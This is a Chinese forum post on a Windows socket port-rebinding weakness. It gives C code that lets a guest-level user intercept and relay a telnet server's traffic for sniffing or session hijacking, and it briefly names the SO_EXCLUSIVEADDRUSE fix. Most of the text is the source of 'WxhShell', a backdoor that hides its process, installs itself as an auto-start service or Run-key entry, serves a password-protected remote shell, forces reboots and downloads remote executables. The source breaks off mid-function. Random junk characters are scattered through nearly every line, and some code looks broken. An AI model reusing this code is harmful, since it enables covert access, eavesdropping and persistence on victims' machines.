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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C]/]ot0%t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZbBz@1O  
y~eQVnH5W  
  saddr.sin_family = AF_INET; Xm#rkF[,  
'YKyY:eZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J)7m::%I  
s}3g+T\l1w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DAYR=s  
/qf(5Bm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |AD" }8  
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  这意味着什么?意味着可以进行如下的攻击: ITpo:"X g  
)T2V< 3l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w4I&SLm-b  
\.!+'2!m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e3T&KyPm?+  
5D9n>K4|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?xkw~3Yfi  
`4GEq2%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^LAP*R  
lQ5d.}O&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o;w 5;TkY  
!Q/oj Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U1oZ\Mh  
)I&,kH)+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,hO*W-a% 1  
;iB9\p$K)  
  #include [2~^~K  
  #include d`eX_]Z  
  #include UYLCzv~W  
  #include    ,oin<K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,Q%q!#@  
  int main() z?Hi u6c-  
  { $G UCVxs  
  WORD wVersionRequested; +)J;4B  
  DWORD ret; D^m`&asC  
  WSADATA wsaData; . {\lbI  
  BOOL val; oh^/)2W  
  SOCKADDR_IN saddr; ORCG(N  
  SOCKADDR_IN scaddr; 3rdrNc  
  int err; C0O$iWs=  
  SOCKET s; O%H c%EfG  
  SOCKET sc; Qk5pRoL_  
  int caddsize; ?**9hu\BG  
  HANDLE mt; W{@,DQ  
  DWORD tid;   ^Kbq.4  
  wVersionRequested = MAKEWORD( 2, 2 ); GMv.G  
  err = WSAStartup( wVersionRequested, &wsaData ); :ebu8H9f%  
  if ( err != 0 ) { #aHJ|[[(n  
  printf("error!WSAStartup failed!\n"); -!bfxbP  
  return -1; ?R!?}7  
  } eE=}^6)(*  
  saddr.sin_family = AF_INET; ;#)vw;XR  
   RA_gj lJi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dp|VQWCq  
jV 'u*2&9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "z8iuF  
  saddr.sin_port = htons(23); y"I8^CA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `<#Ufi*c  
  { xU6rZ CqE  
  printf("error!socket failed!\n"); BE$Wj;Q  
  return -1; d~QZc R  
  } fK 4,k:YC  
  val = TRUE; [@_IUvf^.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  gl$}t H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  9M]%h  
  { 6&,{"N0 T  
  printf("error!setsockopt failed!\n"); , tEd>  
  return -1; eV5 e:9  
  } >LAhc7I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t 3l-]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  S!Bnz(z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <(E9U.  
n1Z*wMwC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8V?*Bz-4`  
  { H~1o^ gU  
  ret=GetLastError(); &Hj1jM'  
  printf("error!bind failed!\n"); lj US-6  
  return -1; )x<oRHx]  
  } )k~{p;Ke  
  listen(s,2); n/ CP2A  
  while(1) SHA6;y+U/~  
  { [QZ8M@Gty#  
  caddsize = sizeof(scaddr); p=T6Ix'_2e  
  //接受连接请求 l0&U7gr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IW>\\&pJ  
  if(sc!=INVALID_SOCKET) K%@#a}kRb  
  { Ib}~Q@?2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J|uSj/8  
  if(mt==NULL) S-7ryHH*0  
  { eZbT;  
  printf("Thread Creat Failed!\n"); By;{Y[@rS  
  break; b~td ^  
  } zI& ).  
  } 95IR.Qfn!  
  CloseHandle(mt); *eEn8rAr  
  } B*;PF  
  closesocket(s); ba "_ !D1  
  WSACleanup(); H1or,>GoO  
  return 0; E]&tgZO  
  }   #I-qL/Lm  
  DWORD WINAPI ClientThread(LPVOID lpParam) [+3~wpU(p  
  { .t9*wz  
  SOCKET ss = (SOCKET)lpParam; TjWMdoU$J  
  SOCKET sc; 3bK=Q3N  
  unsigned char buf[4096]; EJm*L6>@R&  
  SOCKADDR_IN saddr; 1\LK[tvh  
  long num; @tfatq+q  
  DWORD val; /I@`B2  
  DWORD ret; Y{`hRz`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aSM S uX8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XJguw/[wm  
  saddr.sin_family = AF_INET; +rOfQ'lQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pm=i(TBS/  
  saddr.sin_port = htons(23); q+1SU6x'm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 52v@zDY  
  { A5 <T7~U  
  printf("error!socket failed!\n"); nK>D& S_!  
  return -1; (@3?JJ]1  
  } hNL_ e3  
  val = 100; J]gtgt^   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZK?:w^Z  
  { ,/Yo1@U  
  ret = GetLastError(); Lv<)Dur0K  
  return -1; _n12Wx{  
  } FX&)~)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lfe^_`ij(+  
  { e)Pm{:E  
  ret = GetLastError(); fK1^fzV  
  return -1; Vd+5an?  
  } G&,2>qxK R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ibxtrt=  
  { NVG`XL  
  printf("error!socket connect failed!\n"); Zoyo:vv&  
  closesocket(sc); jx-8%dxtZ  
  closesocket(ss); k}908%w  
  return -1; 0$I!\y\  
  } 1g1gu=|Q  
  while(1) B[{Ie G'  
  { ;o?Wn=J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 | X0Ys8f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I%# e\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n,o;:c  
  num = recv(ss,buf,4096,0); 9 ?(P?H  
  if(num>0) &4V"FHy2  
  send(sc,buf,num,0); V1>>]]PS  
  else if(num==0) -^<`v{}Dn  
  break; 2@+ MT z  
  num = recv(sc,buf,4096,0); .,( ,<  
  if(num>0) J>S`}p  
  send(ss,buf,num,0); bl-t>aO*.V  
  else if(num==0) ("rIz8b  
  break; ~8^)[n+)x  
  } P(XNtQ=K  
  closesocket(ss); qkh.? ~  
  closesocket(sc); !|;w(/  
  return 0 ; M$AQZ')9  
  }  i'NN  
pTzfc`~xv  
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========================================================== 'P,F)*kh  
Wg C*bp{  
下边附上一个代码,,WXhSHELL ^bckl tSo  
-Drm4sTpDb  
========================================================== lL6qK&;  
J"O#w BM9  
#include "stdafx.h" j,CMcP7A -  
Mb[4G>-v=  
#include <stdio.h> PdD| 3B&  
#include <string.h> yi9c+w)b  
#include <windows.h> H=k`7YN  
#include <winsock2.h> $[-{Mm  
#include <winsvc.h> C%+>uzVIw  
#include <urlmon.h> `A o;xOJ  
8L}N,6gC4_  
#pragma comment (lib, "Ws2_32.lib") Zjh9jvsW  
#pragma comment (lib, "urlmon.lib") 9,;+B8-A  
R@H}n3,  
#define MAX_USER   100 // 最大客户端连接数 ~*Ir\wE  
#define BUF_SOCK   200 // sock buffer .`Ts'0vVy  
#define KEY_BUFF   255 // 输入 buffer j[o5fr)L  
q;a#?Du o  
#define REBOOT     0   // 重启 J "dp?i  
#define SHUTDOWN   1   // 关机 ALY% h!L  
c&T14!lfn  
#define DEF_PORT   5000 // 监听端口 |~3$L\X  
Q`X5W  
#define REG_LEN     16   // 注册表键长度 N~A#itmdx  
#define SVC_LEN     80   // NT服务名长度 k<3 _!?3  
R(sa.Q\D4  
// 从dll定义API r ,,A%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8!AMRE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  p3r1lUw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P!)k4n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \w=7L- 8  
oNV(C'A  
// wxhshell配置信息 wOp# mT  
struct WSCFG { XT5Vo  
  int ws_port;         // 监听端口 SY}iU@xo  
  char ws_passstr[REG_LEN]; // 口令 "yCek  
  int ws_autoins;       // 安装标记, 1=yes 0=no A*:(%!  
  char ws_regname[REG_LEN]; // 注册表键名 ,`JXBI~  
  char ws_svcname[REG_LEN]; // 服务名 oFeflcSz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "@[xo7T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;ckv$S[p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WPM<Qv L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XU#nqvS`.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^(0tNX/XD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w5(GRAH  
Z0e+CEzq  
}; C4P7,  
/fM6%V=Y  
// default Wxhshell configuration &sx|sLw)  
struct WSCFG wscfg={DEF_PORT, |k4ZTr]?  
    "xuhuanlingzhe", q61 rNOw_  
    1, )>LC*_v  
    "Wxhshell", r4c3t,L*$I  
    "Wxhshell", #dGg !D  
            "WxhShell Service", \[+\JWJj  
    "Wrsky Windows CmdShell Service", r}~l(  
    "Please Input Your Password: ", dkQA[/k  
  1, :6z0Ep"  
  "http://www.wrsky.com/wxhshell.exe", BVC{Zq6hi  
  "Wxhshell.exe" Fq5);sX=  
    }; cF[[_  
B|O/h! H.  
// 消息定义模块 b+M[DwPw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qpl"j-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~j\/3;^s   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;61m  
char *msg_ws_ext="\n\rExit."; EtH)E)  
char *msg_ws_end="\n\rQuit."; "A:wWb<m  
char *msg_ws_boot="\n\rReboot..."; Ffm Q$>S  
char *msg_ws_poff="\n\rShutdown..."; | ~G;M*q  
char *msg_ws_down="\n\rSave to "; LE Y Y{G?  
.6 E7 R  
char *msg_ws_err="\n\rErr!"; AMYoSc  
char *msg_ws_ok="\n\rOK!"; #U&G$E`7  
t@/r1u|iq  
char ExeFile[MAX_PATH]; 'eo2a&S2D  
int nUser = 0; *0R=(Gy  
HANDLE handles[MAX_USER]; g-%uw[pf  
int OsIsNt; ii*Ty!Sa  
i c]f o  
SERVICE_STATUS       serviceStatus; 5hpb=2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  j>s%q .  
Drlt xI)  
// 函数声明 C_#0Y_O  
int Install(void); _TB\@)\  
int Uninstall(void); m`9)DsR N  
int DownloadFile(char *sURL, SOCKET wsh); =I/J !}.  
int Boot(int flag); ZF;S}1  
void HideProc(void); 5Tp n`2F  
int GetOsVer(void); |U^ ff^]  
int Wxhshell(SOCKET wsl); ){>;eky  
void TalkWithClient(void *cs); ~pj9_I  
int CmdShell(SOCKET sock); US7hKNm.  
int StartFromService(void); (>0d+ KT  
int StartWxhshell(LPSTR lpCmdLine); -lMC{~h\(S  
nwN<Q\]S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G-n`X":$DT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SQ5*?u\  
} 2)s%  
// 数据结构和表定义 uB,B%XHj  
SERVICE_TABLE_ENTRY DispatchTable[] = !4jS=Lhe>  
{  fV}\  
{wscfg.ws_svcname, NTServiceMain}, %e%nsj6  
{NULL, NULL} JZL!(>tI  
}; @;<w"j`r  
]jHB'Y  
// 自我安装 Y=3Y~  
int Install(void) 1}8e@`G0.]  
{ _k sp;kH?)  
  char svExeFile[MAX_PATH]; l}(~q!r  
  HKEY key; V6$v@Zq  
  strcpy(svExeFile,ExeFile); 6g$04C3tHi  
~*B1}#;  
// 如果是win9x系统,修改注册表设为自启动 z7PPwTBa  
if(!OsIsNt) { lGLZIp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RFK N,oB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \\)-[4uC  
  RegCloseKey(key); m; ABHq#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S|]~,l2]}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gs?W7}<$  
  RegCloseKey(key); ,(`@ZFp$  
  return 0; RL&3 P@r  
    } %q*U[vv  
  } nLtP^ 1~9H  
} cR5<.$aY  
else { D}"GrY 5  
>; W)tc,  
// 如果是NT以上系统,安装为系统服务 e('c 9 Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tz*5;y%4  
if (schSCManager!=0) *h =7:*n  
{ x(b&r g.-0  
  SC_HANDLE schService = CreateService $e*Nr=/  
  ( ~4`wfOvO  
  schSCManager, C#-x 3d-{  
  wscfg.ws_svcname, cE*|8'rSf  
  wscfg.ws_svcdisp, QHs]~Ja  
  SERVICE_ALL_ACCESS, 5h> gz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <01B\t7  
  SERVICE_AUTO_START, ufR |  
  SERVICE_ERROR_NORMAL, `P z !H  
  svExeFile, ^5T{x>Lj  
  NULL, e2*^;&|%  
  NULL, IeU.T@ $  
  NULL, x9_ Lt4  
  NULL, `a6;*r y  
  NULL tcX7Ua(I`  
  ); 95!xTf  
  if (schService!=0) Pdn.c1[-a  
  { v;$^1I  
  CloseServiceHandle(schService); nlmkkTHF8  
  CloseServiceHandle(schSCManager); 8Peqm?{5Y5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bm+ Mr  
  strcat(svExeFile,wscfg.ws_svcname); P! O#"(r2]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k Dv)g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hsE!3[[  
  RegCloseKey(key); 1QN]9R0`#7  
  return 0; W.67, 0m$  
    } &1[5b8H;+  
  } Xl aNR+  
  CloseServiceHandle(schSCManager); ]52_p[hZ}<  
} lT:<ZQyjT  
} FFQF0.@EBi  
7]v-2 *  
return 1; ZbGyl}8ua  
} Ka{IueSs  
'Aqmf+Mm  
// 自我卸载 ~clWG-i  
int Uninstall(void) NPc%}V&C(u  
{ pj )I4C)  
  HKEY key; I0ie3ESdN  
w}1)am &pD  
if(!OsIsNt) { Sph+kiy|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =_1" d$S&  
  RegDeleteValue(key,wscfg.ws_regname); ld?M,Qd  
  RegCloseKey(key); JIQzP?+?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sS|zz,y  
  RegDeleteValue(key,wscfg.ws_regname); 4Ek< 5s[  
  RegCloseKey(key); .6"7Xxe]<  
  return 0; an7N<-?  
  } f@}(<#  
} d}=p-s.GA  
} zm}1~A  
else { zR .MXr  
7RLh#D|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qpc{7#bp  
if (schSCManager!=0) xl9l>k6,  
{ lxd<^R3i#^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }"8_$VDcz  
  if (schService!=0) +\ySx^vi  
  { bCrB'&^t  
  if(DeleteService(schService)!=0) { 2<O8=I _  
  CloseServiceHandle(schService); wTW"1M  
  CloseServiceHandle(schSCManager); "L)pH@)  
  return 0; ES~]rPVS  
  } }n=NHHtJ  
  CloseServiceHandle(schService); bk?\=4B:E  
  } y,x~S\>+  
  CloseServiceHandle(schSCManager); ) )F.|w  
} O>Sbb2q?"  
} QCo^#-   
gvJJ.IX]+  
return 1; gMvvDP!Wp  
} pE< ' '`  
F,zJdJ  
// 从指定url下载文件 |<V{$),k  
int DownloadFile(char *sURL, SOCKET wsh) 9mnON~j5  
{ |l|]Tw  
  HRESULT hr; xH0/R LK3J  
char seps[]= "/"; xki"'  
char *token; FX^E |  
char *file; xr/ k.Fz  
char myURL[MAX_PATH]; TGNeEYr  
char myFILE[MAX_PATH]; L$xRn/\  
P2p^jm   
strcpy(myURL,sURL); } :mI6zsNj  
  token=strtok(myURL,seps); %FU[ j^  
  while(token!=NULL) ?MYD}`Cv  
  { la4 ,Z  
    file=token; }rE|\p>  
  token=strtok(NULL,seps); GEA;9TU|V  
  } M($},xAvDU  
> 95Cs`>d  
GetCurrentDirectory(MAX_PATH,myFILE); (`NRF6'&1L  
strcat(myFILE, "\\"); P Cf|^X#B  
strcat(myFILE, file); wl%1B64  
  send(wsh,myFILE,strlen(myFILE),0); LJy'wl  
send(wsh,"...",3,0); 54{"ni 2a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cg Sdyg@  
  if(hr==S_OK) $VA4% 9  
return 0; 6S<$7=$ =  
else 6bGD8 ;  
return 1; Kv]6 b2HT  
+XE21hb   
} 6!nb)auVi  
A E711l-  
// 系统电源模块 ASvPr*q/  
int Boot(int flag) 3$8}%?i  
{ [1C#[Vla  
  HANDLE hToken; f#~Re:7.c  
  TOKEN_PRIVILEGES tkp; ge[i&,.&z  
?5Fj]Bk]  
  if(OsIsNt) { 0Nu]N)H5<l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,&=`T 7i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x\rZoF.NQ  
    tkp.PrivilegeCount = 1; [f0HUbPX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }'W^Ki$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); | #Pc e  
if(flag==REBOOT) { qM0MSwvC=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 76b7-Nj"  
  return 0; 1Tq$E[  
} &EPEpN R  
else { v~\45eEA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ([Aq  
  return 0; 8ilbX)O  
} fF("c6:w(  
  } -z$0S%2?  
  else { .;b> T  
if(flag==REBOOT) { uKy*N*}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O+?zn:  
  return 0; kPH^X}O$  
} v8Zg og)V  
else { bJm0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,NEs{! T  
  return 0; 3kCbD=yF  
} Wu( 8 G  
} `tG_O  
>U<nEnB$?  
return 1; yk<jlVF$j  
} N o(f0g.  
2.D!4+&  
// win9x进程隐藏模块 /8}+# h)[  
void HideProc(void) _oTT3[7P  
{ x\.i `ukx  
>k}/$R+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y:%)cUxA  
  if ( hKernel != NULL ) 2\{uq v  
  { Db=>7@h3C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S=,1} XZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J'yN' 0  
    FreeLibrary(hKernel); 1gm/{w6O  
  } O&w3@9KJ?  
{@5WeWlz~  
return; cWO )QIE  
} TRLeZ0EC  
t`T\d\  
// 获取操作系统版本 `E=rh3 L0o  
int GetOsVer(void) cqY.^f.  
{ xm|4\H&Bg  
  OSVERSIONINFO winfo; yH%+cmp7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N&APqT  
  GetVersionEx(&winfo); {(}w4.!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =t$mbI   
  return 1; SU O;  
  else `u~  
  return 0; )O@^H   
} !X%!7wsc  
Gv,92ny!|  
// 客户端句柄模块 =jIT"rk  
int Wxhshell(SOCKET wsl) -\'.JA_  
{ R}wwC[{  
  SOCKET wsh; d Zz^9:C+  
  struct sockaddr_in client; kg I=0W>  
  DWORD myID; @ P"`=BU&  
o+-Ge J  
  while(nUser<MAX_USER) >|/ ? Up  
{ on;sq8;  
  int nSize=sizeof(client); fsJTwSI["  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #)mkD4  
  if(wsh==INVALID_SOCKET) return 1; [gkRXP[DGs  
ru/zLj:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I^O:5x> [l  
if(handles[nUser]==0) "1!.^<V*  
  closesocket(wsh); wYQ1Z  
else  K-5"#  
  nUser++; 9`C iE  
  } $qtU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /-{O\7-D  
N(-%"#M$  
  return 0; vQYfoam;  
} _`@Xy!Ye  
+z(,A  
// 关闭 socket ss`q{ARb  
void CloseIt(SOCKET wsh) k;fnC+Y$s  
{ YY:iPaGO  
closesocket(wsh); wAYzR$i  
nUser--; ]u4>;sa  
ExitThread(0); a&s"# j  
} QE#-A@c  
( X 'FQ  
// 客户端请求句柄 x-V' 0-#U>  
void TalkWithClient(void *cs) lv\F+?]a  
{ +?j?|G  
E8iadf49  
  SOCKET wsh=(SOCKET)cs; %<=vbL9  
  char pwd[SVC_LEN]; 9(^X2L&Z  
  char cmd[KEY_BUFF]; _N,KHxsG8B  
char chr[1]; =o{: -EKQF  
int i,j; 0(9I\j5`TT  
~e`;"n@4  
  while (nUser < MAX_USER) {  { 7TJgS  
?mYV\kDt\  
if(wscfg.ws_passstr) { p21=$?k!;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1!;"bHpk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SJ@8[n.x  
  //ZeroMemory(pwd,KEY_BUFF); yToT7 X7F7  
      i=0; e1`)3-f  
  while(i<SVC_LEN) { +%e%UF@  
h2/dhp  
  // 设置超时 U-~*5Dd  
  fd_set FdRead; .}$`+h8W T  
  struct timeval TimeOut; Y1yXB).AH8  
  FD_ZERO(&FdRead); f^6&Fb>  
  FD_SET(wsh,&FdRead);  g`)/x\  
  TimeOut.tv_sec=8; (Y'UvZlM%P  
  TimeOut.tv_usec=0; \2gvp6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r\l3_t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z6FbM^;;  
Pa +AF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #"o6OEy$A#  
  pwd=chr[0]; f $.\o  
  if(chr[0]==0xd || chr[0]==0xa) { 6z p@#vYI  
  pwd=0; 3Y1TQ;i,wQ  
  break; c<+g|@A#  
  } sxN>+v11z  
  i++; c ?p0#3%L#  
    } 1%SJ1oY  
[NCXn>Z  
  // 如果是非法用户,关闭 socket  +eDN,iv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s]F?=yEp  
} iJCY /*C}  
f*|8n$%   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ub zb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {h vQ<7b  
fz<|+(_>J  
while(1) { EBj,pk5M  
d739UhKC  
  ZeroMemory(cmd,KEY_BUFF); rSF;Lp)}  
m0%iw1OsH%  
      // 自动支持客户端 telnet标准   /^z/]!JG:V  
  j=0; LM"W)S  
  while(j<KEY_BUFF) { )T.pjl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VeNNsg>&  
  cmd[j]=chr[0]; fXF=F,!t  
  if(chr[0]==0xa || chr[0]==0xd) { Xa{~a3Wy  
  cmd[j]=0; =9DhO7I'  
  break; v|4STR  
  } nxn[ ~~  
  j++; ?8wwd!)x%  
    } Q8;x9o@p  
F1?CqN M  
  // 下载文件 Ks49$w<  
  if(strstr(cmd,"http://")) { d$"G1u~%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .KiPNTh'  
  if(DownloadFile(cmd,wsh)) B%%.@[o,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <?> I\  
  else 3D?IG\3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Bx+WW&P.i  
  } dDv{9D,  
  else { O:`GL1{ve?  
RQj`9F  
    switch(cmd[0]) { xVsa,EX b  
  ";-{ ~  
  // 帮助 */%$6s~  
  case '?': { ~4MtDf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g( ]b\rj  
    break; gD,YQ%aq  
  } oglXW8  
  // 安装 ]/aRc=Gn  
  case 'i': { "fX_gN?  
    if(Install()) i$`|Y*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;)2*:--)  
    else >~`Y   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _SMT.lG  
    break; .iOw0z  
    } LKK{j,g7  
  // 卸载 <_BqpZ^`  
  case 'r': { SE-!|WR  
    if(Uninstall()) c*S#UD+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5}-)vsa`  
    else `YFkY^T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yM(_P0  
    break; sow bg<D  
    } `!UaScM  
  // 显示 wxhshell 所在路径 tIi!* u  
  case 'p': { U7nsMD  
    char svExeFile[MAX_PATH]; * ajFZI  
    strcpy(svExeFile,"\n\r"); !7:EE,W~  
      strcat(svExeFile,ExeFile); ]iz_w`I\  
        send(wsh,svExeFile,strlen(svExeFile),0); q=P f^Xp  
    break; 92P ,:2`a  
    } 3n.+_jQ>s  
  // 重启 th.M.jas  
  case 'b': { k1^V?O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S`pF7[%rp  
    if(Boot(REBOOT)) XsAY4WTS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t Y:G54d=_  
    else { $Qn& jI38  
    closesocket(wsh); 9O),/SH;:  
    ExitThread(0); g>6:CG"  
    } HO 266M  
    break; [b7it2`dl  
    } B]'e$uyL7  
  // 关机 Tjd&^m  
